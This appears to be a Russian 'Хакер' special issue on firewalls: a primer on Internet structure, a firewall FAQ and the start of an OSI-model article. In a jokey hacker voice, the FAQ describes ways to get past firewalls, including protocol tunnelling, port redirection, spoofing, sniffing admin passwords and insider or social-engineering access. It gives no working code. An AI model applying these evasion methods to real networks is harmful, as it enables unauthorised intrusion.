Хакер №024. Спецвыпуск

         

Хакер №024. Спецвыпуск


Intro\

Спецвыпуск Xakep, номер #024, стр. 024-001-1

"Нуууууу, где же вы <пиб>, ай, выручайте дядю!!!" (с) Ленинград – только и остается завыть, когда утром залогинившись в систему, обнаруживаешь девственно пустой кластер хардов, прожранный за ночь месячный трафик всей конторы или характерный /var/www/html/index.html.bup, а в самом index.html - какой-нибудь симпотный дефейс... Что тут можно сказать: сколько бы всякие бюллетени по сетевой безопасности не капали на мозги, мол, файерволл – это не панацея от всех атак, на практике оказывается именно так.\\\\\

Ох, сколько же админов ограничиваются в секюрности своих систем только настройкой файерволла! А что им делать? Там у секретарши ворд не открывается, тут у тупого менеджера файл не печатается, и за всем этим делом надо поспевать. А секюрность... Ну, файерволл есть, и то хорошо – большинство хулиганствующих малолеток отвалятся, наткнувшись на огненную стену, а если попадется реальный хацкер... А хацкерам в моей сети, типа, делать нечего, ничего интересного для них тут нет.\\\\\

А потом - "Нуууууу, где же вы <пиб>...!!!" и попа, готовящаяся принять детородный орган начальства.\\\\\

Плохо. Не хорошо. Но ничего поделать нельзя, закон природы – голодный и злой всегда пожирает беспечного и откормленного. Так что, ребята, давайте приступим к изучению файерволлинга ;) – в жизни пригодится. Этот номер мы решили посвятить как раз этому делу:\\\\\

Ну, надеюсь, что очередной Спец даст тебе хорошего пинка в плане изучения сетевой секюрити и устремит тебя дальше по той же дорожке с хорошей инерцией :). Увидимся в следующем месяце!\\\\\

n0ah\\\\\

Содержание




 

Хакер №024. Спецвыпуск


БИТЫ: схема Инета

demiurg (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #024, стр. 024-004-1

Привет, кулхацкер. Вот ты сейчас прочитал новый Спец-Хакер и уже готов ломануть сайт мелкомягких, прорваться через заграждения портала www.nato.gov, ощутить опьяняющий ментальный оргазм, взламывая базу кредиток www.porno.com... Но все это мечты, а знаешь ли ты, как вообще построен Интернет? Каким образом, набирая www.playboy.com, ты лицезреешь на своем роскошном 22-дюймовом мониторе (я ведь прав?) обольстительных красоток, а не потного фидошника. Что ты сказал? Интернет - это компьютер... Хм... Достойный ответ. А как тогда они соединяются? Мдя... Проводами? Да... давай разбираться, а то потом будет просто стыдно перед слепой девушкой с весами, когда будут оглашать приговор...

Я РАНЕН ТАК, ЧТО ВИДЕН МОЗГ

Что такое Интернет? Интернет - это сеть сетей. В таком же случае что такое сеть, спросишь ты? Сеть - это группа компьютеров, соединенных между собой. Как видишь, определения очень расплывчаты, давай разберемся. В идеале один комп представляет собой сеть, в которой только этот комп и существует. У него даже есть IP адрес - 127.0.0.1. Т.е. не имея никакой сетевой карты, ты уже имеешь свою маленькую сетку с самим собой. Разумеется, этого мало - допустим, ты и твой друг Гоша решили поиграть в кваку, для этого ты тащишь к Гоше свой комп... сразу же возникает вопрос, а как же их соединить? Бежим на Савеловку, покупаем у барыги две сетевухи + витую пару пару метров. У тебя с Гошей сейчас два компьютера - сетевухи вставлены - соединены... но возникает вопрос: как же компы будут различаться? По имени, говоришь? Ты представляешь, сколько в мире компов? Если каждый юзер захочет, чтобы его компьютер идентифицировался уникальным именем - то никаких слов не хватит, и появится масса безликих - veryprettysexypornogirl8932 или rulezzzcoolfuckman2971. Я не хочу ничего сказать, имя компьютера очень часто используется в сети (тем более в локальной), но так как мы моделируем свой маленький Интернет, это имя остается вторичным, а идентификация компов определяется IP адресом. Помнишь, в начале статьи мы говорили, что у каждого компа есть собственный IP - так вот, он никуда не делся. Пингуя, ты всегда можешь получить от своего же компа ответ, но установив сетевые карты (и разумеется, правильно настроив их), мы получим два IP: один твой (пусть будет 192.168.0.1), а второй для Гоши (192.168.0.2). Мы получили маленькую сеть из двух компьютеров, которые распознают друг друга (по IP) и, разумеется, в состоянии обмениваться информацией. Все понятно? Тогда усложняем ситуацию...

А ЧТО ЭТО ЗА ДЕВУШКА И ГДЕ ОНА ЖИВЕТ?

Все идет своим чередом... Вы с Гошей играете в кваку, но вдруг из другого подъезда к вам приходит девочка Алиса, которая тоже не прочь поиграть в кваку. Получается, что сеть разрастается. На базе витой пары нельзя соединить более двух компов - придется приобретать концетратор (он же хаб или свитч (switch)). Хабу (удлинителю) наплевать, что за трафик через него ползет. А свитч же представляет собой интеллектуальное устройство: все дело в том, что любая сетевуха имеет собственный уникальный (это очень важно) MAC адрес. Так вот, свитч запоминает его и уже контролирует трафик.

Содержание  Вперед на стр. 024-004-2


 

Хакер №024. Спецвыпуск


БИТЫ: схема Инета

demiurg (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #024, стр. 024-004-2

Постепенно ваша сеть разрастается, подключаются новые подъезды, и вы задумываетесь - неплохо бы подключиться к Интернету. Не вопрос! Находите ближайшего провайдера, он кидает до вашего свитча шнур и выделяет вам один IP адрес. Что? Да. Вы не ослышались - именно один, на самом деле больше и не надо... Мы просто подходим к самому интересному.

НЕ ПЛАЧЬ, АЛИСА, ТЫ СТАЛА ВЗРОСЛОЙ

Возникает масса вопросов... Что за IP выделил провайдер, зачем он нужен, почему только один? Вернемся к началу - вспомни, что у каждого компа вашей сети есть IP адреса (у тебя 192.168.0.1 и т.д.), но эти IP существуют только в локальной сети и для Интернета открыты не будут. Провайдер выделяет тебе IP адрес из своей подсети, но что с ними делать?

Как им пользоваться? Проведу небольшую аналогию - допустим, Гоша обиделся на тебя (т.к. тебе Алиса дала, а ему нет). Он показывает пальцем на дверь и отлучает тебя от сети. Думает, что ты пропадешь... Фигушки :). У тебя еще сохранился модем на 14400 + аккаунт в Интернет. Ты звонишь провайдеру - выходишь в Интернет. Получаешь IP, только автоматически, т.к. у провайдера уже стоит специальный сервер (DHCP), который отвечает за раскидон IP адресов юзерам и выполняет всякую черную работу (чтобы двум юзерам один и тот же адрес не кинуть). Та же самая ситуация и с локалкой, только разница в том, что на дайлапе IP у тебя меняется от подключения к подключению, а в локалке провайдер выделил тебе статический IP, который уже никуда не денется.

ОСТАВЬ ОДЕЖДУ ВСЯК СЮДА ВХОДЯЩИЙ

Ну ладно, допустим - разобрались с IP. А что же делать со шнуром, который кинул провайдер? Совать в свитч! Давай решимся на такой эксперимент... (хотя на самом деле это ошибка). Естественно, чтобы защититься от вторжений извне - надо ставить файрволл, причем на каждую локальную машину. Это хорошо, если у тебя в сети 2-3 компа, а если 50? Причем поставить - это слабо сказано, надо создать правила: блокировка одних подсетей, допуск других. Банальный пример: допустим, в соседнем городе Мухосранске живет (эээ... существует) хакер Жора, который очень хочет сломать твою сеть и изнасиловать Гошу. Естественно, вы все (ну, кроме Гоши) хотите блокировать этого варвара. Ты знаешь его IP и просто на роутере прописываешь, что с такого IP пакеты не принимать, а посылать сообщение "Network is Unreachable" или что-то типа этого. Но заваривается интрига: Алиса хочет контактировать с Жориком и специально для него расшаривает папку "C:\My Documents\Alice\бурундуки" - естественно, тебе надо бежать к ней и разрешать подключения с Жоркиного IP адреса, открывать необходимые порты и т.д. А если он у него частенько меняется или Алиса просто не дала Жоржу и они разбежались? Опять бежать к ней? Нет, фигушки! Нам нужна система защиты, которая централизованно будет администрироваться (желательно удаленно) и позволит задавать правила (рулесы) для всех пользователей. Для этого вполне подойдет роутер - компьютер, через который идет трафик из Интернета в локальную сеть и наоборот. На нем уже стоят разные файрволлы, анализаторы трафика и т.д., что позволяет админить сеть легко и непринужденно.

Назад на стр. 024-004-1  Содержание  Вперед на стр. 024-004-3


 

Хакер №024. Спецвыпуск


БИТЫ: схема Инета

demiurg (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #024, стр. 024-004-3

ЛЮДИ ГИБНУТ ЗА МЕТАЛЛ

Но вдруг Жора понял, что его перехитрили, он посылает своего провайдера на фиг и покупает крутой модем на 14400, надеясь взломать вашу сеть. Согласись, блокировать его IP просто глупо. Хотя бы потому, что он с легкостью его сменит, отключившись и вновь подключившись к Инету. Но если ты знаешь IP адрес сети его провайдера (допустим, он 200.200.200.*), то шанс поглумиться над Жоржем есть. Тебе придется просканить все адреса от 200.200.200.0 до 200.200.200.255. Времени это займет немного, зато какой интеллектуальный оргазм получит Жорж, увидав синий экранчик смерти или еще что похуже.

ПОСМЕЕМСЯ КЕПЛЕР ВЕЛИКОЙ ГЛУПОСТИ ЛЮДЕЙ

А как по твоему, что представляет собой сеть провайдера? Чем она отличается от твоей? Да, конечно - крутые свитчи, распальцованные сервера... А конкретно? Радикально? Да ничем! Равно как твоя сеть является посредником между компом Гоши и Интернетом, так и провайдер образует связующее звено между твоей сетью и Инетом. Связка поистине очень проста: комп Гоши -> свитч сетки -> роутер локалки -> роутер прова -> свитч прова (обычно бывает) -> Internet -> www.porno.com. А что такое www.porno.com? Та же самая сеть с web-сервером, c файрволлом, с роутером. Каких-то компонентов может и не быть или они могут быть по-другому реализованы. Не суть важно. Главное, что трафик должен приходить, обрабатываться, уходить. В наше тяжелое военное время файрволл - это обязательное условие построения любой сети, т.к. даже если проблема безопасности отсутствует, то всегда возникают вопросы о контроле трафика (сколько порнухи юзер Саша накачал), его стоимости (на сколько у.е.), в какое время...

Что мы поняли? Интернет - это сеть, а компьютер - это часть Интернета... Хотелось бы верить, что моя статья помогла разобраться в сложных технологиях, окружающих нашу жизнь. Если есть вопросы - пиши. Всегда твой и только твой маленький и пушистый -

demiurg (arkhangel@mail.ru).

Назад на стр. 024-004-2  Содержание


 

Хакер №024. Спецвыпуск


FAQ

Матушка Лень

Спецвыпуск Xakep, номер #024, стр. 024-006-1

(MLEN@mail.ru) MatushkaLEN'[LoveTech]

Я забыл, что такое пакет?

В предыдущих номерах по взлому я уже просверлил тебе все уши рассказами про пакеты! В этом номере экзекуция продолжается, ведь файрволлы, которые так мечтают обойти хакеры, работают именно с пакетами! Все в нашем сетевом мире крутится вокруг этих мусорных пакетиков, поэтому ты должен четко себе представлять, зачем они нужны и какие бывают.

Итак, ты должен запомнить, что пакеты состоят из заголовка и полезной информации. Заголовок нужен для того, чтобы доставить пакет по нужному адресу. В информационном поле может лежать информация пользователя, или другой пакет. Если ты не забыл, то когда один пакет вложен в другой пакет - это называют инкапсуляцией.

Что такое фильтр пакетов?

Классический файрволл - это именно фильтр пакетов. Фильтр пакетов позволяет отбрасывать пакеты в зависимости от адреса получателя, адреса отправителя и номера порта. Такой фильтр очень полезно ставить для того, чтобы защитить локальную сеть.

Например, в локальной сети пользователи могут использовать протокол NetBIOS поверх TCP/IP для обмена файлами и доступа к принтерам. Но для того, чтобы этот протокол не могли использовать хакеры из глобальной сети, на файрволле закрывают 136-й, 137-й и 139-й порты протокола.

А бывает, что нужно защитить пользователей локальной сети от тлетворного влияния всемирной паутины. Для этого ласковый администратор закрывает на своем файрволле порты Аськи (ICQ) и Ирки (IRC), чтобы пользователи работали как рабы на урановых рудниках, а не чатились целый день.

Одним словом, фильтр - это устройства или программы, которые отбрасывают пакеты по заголовку, но в содержимое не лезут!

Как файрволл спасает от порнухи и рекламы?

Пакетный фильтр, как ты уже понял, умеет отбрасывать пакеты с определенных адресов. То есть если ты скачаешь из Инета список адресов баннерных систем, то на твоих страничках не будет рекламы. А все потому, что пакеты с тошнотными баннерами не пропустит твой файрволл. Так же можно защититься от порносайтов, если у тебя не хватает силы воли, и ты начинаешь качать порнуху каждый раз, как только зайдешь в сеть.

Однако всегда найдется порносайт или баннерная сеть, о которых не знает твой файрволл :). В таких случаях возможностей фильтров пакетов уже недостаточно, поскольку приходится анализировать не только заголовки пакетов, но и их содержимое. Например, можно фильтровать все картинки размером со стандартный баннер или анализировать сигнатуру женских сисек в загружаемых картинках.

Что такое правила файрволла?

Вопрос, конечно, риторический. Ведь любому понятно, что этими правилами пользуется фильтр пакетов для того, чтобы определить, какой пакет пропустить, какой отбросить, а какой перенаправить. Получаются так называют настройки файрволла. И если администратор допустил ошибку в составлении правил для своего фильтра, то этим обязательно воспользуется сетевой разбойник. Отсюда мораль: для того чтобы научиться обходить файрволлы, хакеры изучают правила фильтрации пакетов. Ну и, конечно, существуют списки стандартных ошибок в составлении правил обхода файрволлов. Эти списки помогают админам защищаться, а хакерам обходить файрволлы.

Содержание  Вперед на стр. 024-006-2


 

Хакер №024. Спецвыпуск


FAQ

Матушка Лень

Спецвыпуск Xakep, номер #024, стр. 024-006-2

С помощью правил можно очень тонко настроить свой фильтр. Для этого есть три типа правил: входящие, исходящие и перенаправляемые пакеты. То есть файрволлу можно независимо указать, что делать с этими тремя типами пакетов.

Как пакетный фильтр спасает от DOS атак и как он лажает?

На своем фильтре бородатый хранитель сервера может закрыть ICMP порт, по которому проводится распределенная атака на отказ (DDOS), или же он может закрыть порты NetBIOS. Причем он может сделать такую подлянку хакерам, используя простейший пакетный фильтр, встроенный в маршрутизатор. В таком случае маршрутизатор будет отбрасывать эти пакеты, вместо того чтобы передать их дальше (маршрутизировать).

Однако фильтр пакетов не умеет отбрасывать пакеты с поддельным адресом или пакеты с мусором, от которого может взглюкнуть сервер. Допустим, хакер атакует сеть бородатого админа с определенного IP адреса. Тупой админ запрещает файрволлу пропускать пакеты с этого адреса. А хакеру пофиг, он просто вставляет другой поддельный адрес или атакует с перебором адресов. Вот тут-то файрволл и лажанулся, нельзя же перекрыть сообщения сразу со всех адресов Интернет, сразу по всем портам. Во время такой атаки логичнее выдернуть шнур из сервера, целее будет!

Может ли фильтр защитить от IP спуфинга?

Спуфинг - подделка адреса отправителя IP-пакета. Нужно это для того, чтобы администратор файрволла не мог закрыть адрес атакующего. Для этого хакер может атаковать с сотни поддельных адресов. Все-таки есть один кривой метод защиты от спуфинга: проверять маршрутную информацию. То есть фильтр с помощью программы маршрутизации проверяет, в какой сети живет адрес и мог ли он оттуда к нам прийти по этому пути. Как не сложно догадаться, метод защиты слабый и жутко тормозной. А еще нужно его правильно настроить, чтобы не отбрасывать хорошие пакеты, заблудившиеся в сети. Спасает это только от спуфинга тупых или запрещенных адресов.

Кто такой прокси-сервер и причем он тут?

Если ты помнишь, proxy переводится как представитель. Он позволяет тебе лазить в сети так, чтобы все видели только адрес прокси-сервера. То есть прокси принимает запрос от локального компьютера и передает его в сеть, но уже от своего имени. Такое свойство посредника-представителя позволяет прокси-серверу скрыть реальные IP-адреса компьютеров в локальной сети от глаз хакера. Кроме этого, прокси-сервер экономит IP-адреса, то есть на одном IP может висеть целая сеть.

Такая ситуация очень неприятна для хакера, ведь он не может обратиться к компьютеру в локальной сети, потому что прокси-сервер не принимает пакеты, которые не запрашивал.

Прокси-сервер тесно связан с файрволлом. Например, часто файрволл используют для организации прозрачного прокси. Для этого сетевой фильтр перенаправляет пакеты на вход прокси. То есть прокси существует, но его не видно за файроволлом. Потому и прозрачный, что за файрволлом. То есть представитель прячет от хакерских глаз сеть, а файрволл прячет представителя, тяжело подкопаться.

Назад на стр. 024-006-1  Содержание  Вперед на стр. 024-006-3


 

Хакер №024. Спецвыпуск


FAQ

Матушка Лень

Спецвыпуск Xakep, номер #024, стр. 024-006-3

Что такое туннелирование?

Допустим, что у хакера есть бесплатная почта. То есть из Интернета он может получать только почту, а хочется по страничкам полазить, Аську с Иркой поласкать. Но работает только почтовый протокол SMTP. Тогда хакер организует TCP/IP туннель внутри этого протокола. Идея простая: нужна программа, которая будет упаковывать обычный TCP/IP в пакеты почтового протокола у пользователя. И нужна программа, которая будет распаковывать эти пакеты в Интернете. Для этого тунеядец вешает на каком-нибудь хакнутом сервере в Интернете скрипт, который притворяется почтовым сервером, а на самом деле распаковывает хакерский TCP/IP.

Получается, что по почтовому протоколу бегает обычный интернет-трафик. Заметь, что файрволл его не видит, поскольку не заглядывает в содержимое пакетов.

Или, допустим, какой-то провайдер открыл тестовый вход на свой домашний сервер и закрыл на файрволле все протоколы кроме DNS (служба доменных имен). А по протоколу HTTP провайдер разрешил обращаться только к своим серверам, при этом обращения к другим серверам провайдерский фильтр не пускает. Тогда хакер организует туннелирование DNS и сидит в Интернете на халяву.

А если хакер хочет включить себе Интернет на работе, в локальной сети за файрволлом, он может использовать туннелирование Telnet. Прелесть в том, что для этого можно использовать стандартные программы и не надо ничего писать. О том, как это сделать, читай подробнее на русском языке: http://www.linuxdoc.ru/HOWTO/mini/html/Firewall-Piercing.html

Туннелировать можно любые другие протоколы, при этом нужен клиент на хакерской машине и сервер в Интернете. Конечно, это все работает гораздо медленнее, чем обычное соединение, но это работает!

Как файрволл от вирусов спасает?

Да никак он от них не спасает. Допустим, пользователь в локальной сети заразился вирусом через ВЕБ-протокол HTTP при просмотре интернет-страничек или ему вирус по почте прислали. Файрволл ведь в пакеты не заглядывает, поэтому вирусы лезут по всем возможным протоколам, положив огромный болт на фильтры пакетов.

Спасает ли файрволл от троянов?

Многие продвинутые пользователи думают, что мощный файрволл не даст трояну связаться со своим хозяином-хакером, чтобы передать ему пароли. А что мешает трояну использовать тоже туннелирование и обращаться к файрволлу от имени твоего браузера или от имени твоей почтовой программы по открытым портам? При этом приходится выбирать: либо дели Интернет с трояном, либо вообще без Интернета. Ситуация доводит мирных юзверей до истерики: пользователь видит, как браузер стучится в порт без его ведома, а ничего сделать не может. Ведь обычный файрволл не может отличить пользовательские запросы от троянских!

Какие отличия между прокси и маскарадингом?

Маскарадинг выполняет те же функции, что и proxy-сервер, то есть маскарадинг скрывает адреса компьютеров внутренней сети, позволяет локальным пользователям работать с сетью через один IP-адрес и не пускает в сеть пакеты, которых не просил. Он также связан с файрволлом, только работает немного по-другому. Прокси-сервер устанавливает соединение с локальным компьютером, получает от него запрос, по этому запросу выкачивает данные из Интернета и отправляет их локальному компьютеру. То есть proxy извлекает данные из пакета! Маскарадинг - это сервис, который меняет адреса, перезаписывая заголовок пакета, когда тот проходит сквозь фильтр пакетов. То есть он получает пакет с обратным адресом локального компустера, меняет его на свой адрес и отправляет в Интернет. Из Интернета он получает ответ на свое имя и пересылает его на адрес локального компустера, который запомнил.

Назад на стр. 024-006-2  Содержание  Вперед на стр. 024-006-4


 

Хакер №024. Спецвыпуск


FAQ

Матушка Лень

Спецвыпуск Xakep, номер #024, стр. 024-006-4

Получается, что маскарадинг работает быстрее, т.к. не извлекает информации из пакетов. Поэтому его проще настроить и приспособить практически к любым службам. Proxy сложнее в настройках и работает медленнее, зато он умеет кэшировать WEB-странички, чтобы сделать их доступными другим пользователям. За счет того, что не требуется закачивать одни и те же странички из Интернета по десять раз, благодаря кэширующему proxy работа с Интернетом в локальной сети оптимизируется.

На что смотрит файрволл, кроме адресов и портов?

Файрволл изучает весь заголовок пакета. Так что вспоминаем, что живет в заголовках. Сперва фильтр проверяет контрольную сумму и выявляет кривые пакеты, которые удаляет. Потом он смотрит на структуру заголовка пакета, и если она не совпадает со стандартной, тоже удаляет. То есть файрволл может удалить сбойный хакерский пакет, направленный в целях повесить сервер. Дальше файрволл сверяет пакет со своими правилами, и они подсказывают, что делать дальше. В правилах можно указать запрещенные адреса и порты отправителей/получателей, запрещенные размеры пакетов, запрещенные задержки. Можно заставить фильтр вести логи сбойных пакетов, удалять, перенаправлять пакеты, отправлять хакеру сообщение об отказе работать с ним и, на худой конец, бить тревогу в случае чего.

Что такое редирект портов?

Часто firewall мешает хакеру ломать какой-то сервер. То есть паршивец уже захватил администраторские права, а пользоваться сервисами не может - фильтр мешает. Можно, конечно, пытаться перенастроить файрволл, что не просто и заметно. Но проще повесить нужный сервис на порт, не прикрытый фаерволлом, и использовать перенаправления с этого порта на нужный злоумышленнику сервис в обход файрволла. А все дело в том, что некоторые файрволлы оставляют какое-то количество портов, на которых ничего не висит, незакрытыми. Поэтому хакер, пользуясь правами администратора, вешает редирект с нужного порта на нужную услугу. Естественно, программу на хакерском компьютере тоже нужно настроить на нестандартный порт. Иногда для этого требуется специальная программа-редиректор.

В результате мы имеем обходной путь, на который настроенный и отлично функционирующий файрволл внимания не обращает.

Кстати, этим грешат многие домашние файрволлы и программы защиты от хакеров, они перекрывают порты стандартных хакерских атак, и все. Вместе с таким файрволлом отлично уживается троян, который садится на нестандартный порт.

Назад на стр. 024-006-3  Содержание  Вперед на стр. 024-006-5


 

Хакер №024. Спецвыпуск


FAQ

Матушка Лень

Спецвыпуск Xakep, номер #024, стр. 024-006-5

Как проще всего обойти файрволл?

Я лично слышал как минимум три рассказа про то, как сотрудник использовал личный модем у себя на работе. И правильно, наш человек! Хакер даже у себя на работе остается хакером. Администратор может закрыть на файрволле доступ в Интернет вообще, тогда некоторые сознательные сотрудники приходят со своим модемом, благо с телефоном проблем нет, на скучной работе скучать не придется.

Так что мало защитить сеть от внешнего проникновения, нужно еще держать под прицелом внутреннего врага, дорогие мои администраторы! Ведь большая корпоративная сеть совсем не застрахована от физического подключения в самом неожиданном месте. Не застрахована от хака изнутри, кто мешает хакеру специально устроиться на работу за восемьдесят баксов во вражескую контору? Или затроянить врага своей подругой Машей с вредоносными дискетками? Кто мешает просто расспросить своих друзей, которые работают на врага, об устройстве сети?

Этот способ очень распространен в больших организациях. И если все хорошо защищено снаружи - хакер действует изнутри, прям как в плохих фильмах. Только тут не надо изгаляться с навороченными системами охраны, достаточно просто прийти в гости или на собеседование. Да и сам работодатель посадит хакера за компьютер, чтобы протестить интеллект, к примеру.

Кто мешает затроянить контору уборщицей, которая возит тряпкой вокруг сервера? Все боятся злобных сетевых хакеров, ставят мощные файрволлы. Ну а хакеры ходят рядом с тобой, пьют твое пиво и стреляют у тебя сигареты. Уволь своего админа, при этом забыв ему заплатить, и ты хакнут!

Что такое анализатор пакетов?

Допустим, хакер решил затроянить пользователя сети и прислал ему вирус по почте. Глупый пользователь запустил троянского коня, и тот размножился по всей сети и обошел фильтр изнутри. Опять файрволл лажанулся, пропустив пакет с вирусом!

Чтобы избежать таких проблем, используют анализаторы пакетов. Это такие программы или устройства, которые не ограничиваются информацией заголовка и лезут в содержимое пакета. Сетевые анализаторы могут проверять трафик на наличие вирусных сигнатур (цифровых отпечатков вирусных пальцев), на наличие туннеля другого протокола, на определенные слова или участки кода.

С помощью анализатора пакетов можно даже отучить пользователей ругаться матом в письмах. Только анализатор работает очень медленно, ведь распаковывать каждый пакет дело не быстрое, особенно когда они валятся с хорошей скоростью.

Да и глубина проникновения этого любителя грязного белья оставляет желать лучшего. Можно научить анализатор определенным фокусам, но хакеры все время придумывают что-то новенькое. Поэтому набор фокусов приходится постоянно обновлять. Proxy-сервер - один из примеров анализатора пакетов.

Что такое система обнаружения атак?

Сейчас в Интернете очень модная тема. Серьезные дядьки классифицируют хакерские атаки и даже их стандартизируют. На основе этих стандартов пишут системы обнаружения атак. Есть масса косвенных признаков атаки, при которых система должна кричать караул или самостоятельно бороться со взломщиком. Такая система использует логи файрволла, данные анализатора пакетов, следит за целостностью системных файлов и стоит очень дорого.

Назад на стр. 024-006-4  Содержание  Вперед на стр. 024-006-6


 

Хакер №024. Спецвыпуск


FAQ

Матушка Лень

Спецвыпуск Xakep, номер #024, стр. 024-006-6

Что такое сетевой экран?

В современном мире даже самому неграмотному администратору не придет в голову защищаться только фильтром пакетов. Он обязательно накрутит туда прокси, маскарадинг, анализатор пакетов для отлова вирусов и даже новомодную систему обнаружения атак. Так что в реальности хакеру приходится обходить не Файрволл в его традиционным понимании, а сетевой экран, то есть целую систему страхующих друг друга заслонов. Даже домашние персональные файрволлы выходят за рамки обычного фильтра пакетов.

Часто сетевой экран называют привычным словом FireWall, хотя он сильно мутировал с тех пор.

Что такое аппаратный сетевой экран?

Если у организации много денег и серьезные требования не только к безопасности, но и к скорости, то принимается решение установить аппаратный экран. Если от межсетевого экрана требуется достаточно глубоко анализировать сетевые пакеты на высоких скоростях, то обычное программное обеспечение поверх обычного компьютера уже не справляется. Поэтому нужные функции полезно разместить в железе. То есть все функции экрана будут реализованы на микросхемах. Чтобы апгрейдить такой железный экран поддержкой новых протоколов, в его флеш-память заливают новую прошивку, как в обычный модем. Иногда аппаратный межсетевой экран выполняет заодно функции маршрутизатора.

Иногда аппаратным файрволлом называют специальный компьютер, который купили с уже предустановленной операционной системой и установленной программой сетевого экрана. Такое чудо-юдо называют аппаратным скорее в рекламных целях, чтобы запудрить мозги покупателям. Ведь все знают, что аппаратный межсетевой экран - это круто.

Назад на стр. 024-006-5  Содержание


 

Хакер №024. Спецвыпуск


ISO/OSI - СЕМЬ УРОВНЕЙ в мозгу телекоммуникатора,

ИЛИ

Спецвыпуск Xakep, номер #024, стр. 024-012-1

как не запутаться в протоколах

Матушка Лень (MLEN@mail.ru) MatushkaLEN'[LoveTech]

Вот уже несколько номеров подряд мы загружаем твой мозг информацией о протоколах. Протоколов очень много, и возникает путаница, как с нею бороться? Для того чтобы телекоммуникатор не сошел с ума и не запутался в проводах Международная Организация Стандартизации (ISO - International Standardization Organization) разработала модель Взаимодействия Открытых Систем (OSI - Open System Interconnection). Сокращенно получилось ISO/OSI.

Про эту загадочную модель OSI очень любят рассказывать преподы в институте и авторы в толстых сетевых книжках, причем в самом начале. Не удивительно, что новичок ничего не понимает. Другое дело - рассказать про OSI человеку, который уже знает какие-то протоколы и имеет вопросы. Для него модель взаимодействия открытых систем станет ОЗАРЕНИЕМ. Нормальный телекоммуникатор так хорошо умеет анализировать системы связи потому, что у него в голове все раскладывается по семи удобным полочкам - по семи стандартным уровням. Хакер также должен обладать такой прозорливостью, чтобы четко понимать, что происходит. Хакер должен пролезть через ФАЙРВОЛЛ и при этом не попасться, ISO/OSI для него настоящая карта вражеской территории!

В учебниках и доках все написано очень сухо. Наша с тобой задача научиться применять ISO на практике. Постепенно ты поймешь, что давно применяешь OSI, только подсознательно.

Физический уровень

Правильнее называть этот уровень механически-электрическим. На этом уровне живут типы проводов, типы разъемов, уровни напряжения, сигналы, модуляции. На практике ты идешь покупать себе внешний модем. Модем нужно выбрать с евророзеткой под телефонный кабель, с разъемом под компорт на 25 штырьков или на 9 штырьков, либо USB или PCI. Ты подбираешь параметры физического уровня ISO/OSI. Дальше ты должен выбрать модем с хорошим набором физических протоколов, например, V.34, V.90, V.95, K56flex. Эти протоколы отвечают за сигналы, чем круче закодированы сигналы, тем быстрее модем передает инфу. Кроме обычного телефонного модема, бывают модемы кабельные, спутниковые, радиомодемы и модемы выделенных линий, все это особенности физического уровня.

Допустим, тебя достал твой модем, и ты решил строить домашнюю сеть. Что ты выберешь: коаксиальный кабель, витую пару или, может быть, оптоволокно? Или все вместе? Мы опять выбираем оборудование физического уровня: кабели, разъемы, повторители, концентраторы. От выбора физического оборудования зависит пропускная способность твоей сети: 10 мегабит в секунду, 100 мбит/сек или 1 Гигабит.

Один из способов обхода файрволла - подсоединение к чужому кабелю или подключение своего модема к одному из компов вражеской сети. Для этого хакеру нужно знать, что творится на физическом уровне!

Канальный уровень

Канальный уровень отвечает за связь между двумя устройствами, подключенными к одной физической среде, фактически к одному шнуру. Канальный уровень должен с помощью последовательности электрических сигналов физического уровня доставить информацию.

Содержание  Вперед на стр. 024-012-2


 

Хакер №024. Спецвыпуск


ISO/OSI - СЕМЬ УРОВНЕЙ в мозгу телекоммуникатора,

ИЛИ

Спецвыпуск Xakep, номер #024, стр. 024-012-2

Допустим, на одном коаксиальном кабеле у тебя висят три компа, у каждого по сетевой карте. Каждая сетевая карта имеет свой адрес доступа к среде (MAC - Media Access Control). Этот адрес для многих карт прошивают на заводе, а для некоторых можно запрограммировать самостоятельно. По этому адресу карточки, подключенные к одному шнуру (к одной среде), могут обнаружить друг друга. Кроме того, чтобы нормально обмениваться данными, им нужно исправлять ошибки и запрашивать недошедшие данные. Эти задачи и решает протокол канального уровня.

Если ты строишь локальную сеть, то частично за адресацию и контроль ошибок отвечает сам стандарт твоей сети. Стандарты Ethernet, Token Ring, Fast Ethernet, Gigabit Ethernet и другие включают в себя описание физического и канального уровней.

Чтобы устройства могли общаться на канальном уровне, нужно, чтобы все они были подключены к одному кабелю и использовали один стандарт!

Что же делать, если у тебя в локальной сети сотня компов? Они же будут мешать друг другу! Если один компьютер занял провод, то остальные передавать не могут! А если пытаются, то начинаются глюки и передавать не может никто! Для того чтобы разбить провод на сегменты, используют коммутаторы и мосты. Они пропускают сквозь себя только те кадры, адрес которых лежит в другом сегменте. Поэтому компьютер при передаче информации занимает не весь шнур, а только один сегмент. Коммутатор (switch - переключатель) это мост с большим количеством портов. Мост (bridge) - это коммутатор с двумя портами. Один мост делит сеть только на два сегмента, а коммутатор на несколько, вот и все различия.

Если провод один, а по нему хотят передавать компьютерные данные, к нему же хотят подсоединить телефон, сигнализацию, систему видеонаблюдения и телевизор, то используют мультиплексор. Мультиплексор может упаковать несколько разных протоколов в один протокол канального уровня.

У современных модемов тоже есть некоторые свойства канального уровня, это протоколы коррекции ошибок и сжатия данных, такие как V.42, V.42bis, MNP.

Даже если ты подключишь два компа через COM-порты напрямую, то они будут использовать протокол канального уровня для коррекции ошибок и управления скоростью связи.

Почти все протоколы канального уровня основаны на SDLC (стандартный канальный протокол ISO), есть много модификаций и разновидностей: HDLC, Frame Relay, Lap-B, LLC.

Хакеры хорошо разбираются в тонкостях канального уровня. Если хакеру удалось подключиться к одному сегменту с администратором, то можно подслушать его пароли и MAC-адрес, чтобы ломануть сервер. Ведь компьютеры принимают всю инфу, которая идет по проводу, и только после этого выбирают адресованные им кадры по MAC-адресу. Так что есть возможность читать чужие сообщения и отправлять их от чужого имени!

Современные файрволлы умеют работать с MAC-адресами. Поэтому, если хакер занимается вредительством в локальной сети, IP-адрес подделать недостаточно! Ведь вредителя могут найти по MAC-адресу его сетевой карты. Даже если негодник украл пароль администратора, то правильно настроенный файрволл не пустит его на сервер с неправильным MAC-адресом.

Назад на стр. 024-012-1  Содержание  Вперед на стр. 024-012-3


 

Хакер №024. Спецвыпуск


ISO/OSI - СЕМЬ УРОВНЕЙ в мозгу телекоммуникатора,

ИЛИ

Спецвыпуск Xakep, номер #024, стр. 024-012-3

Сетевой уровень

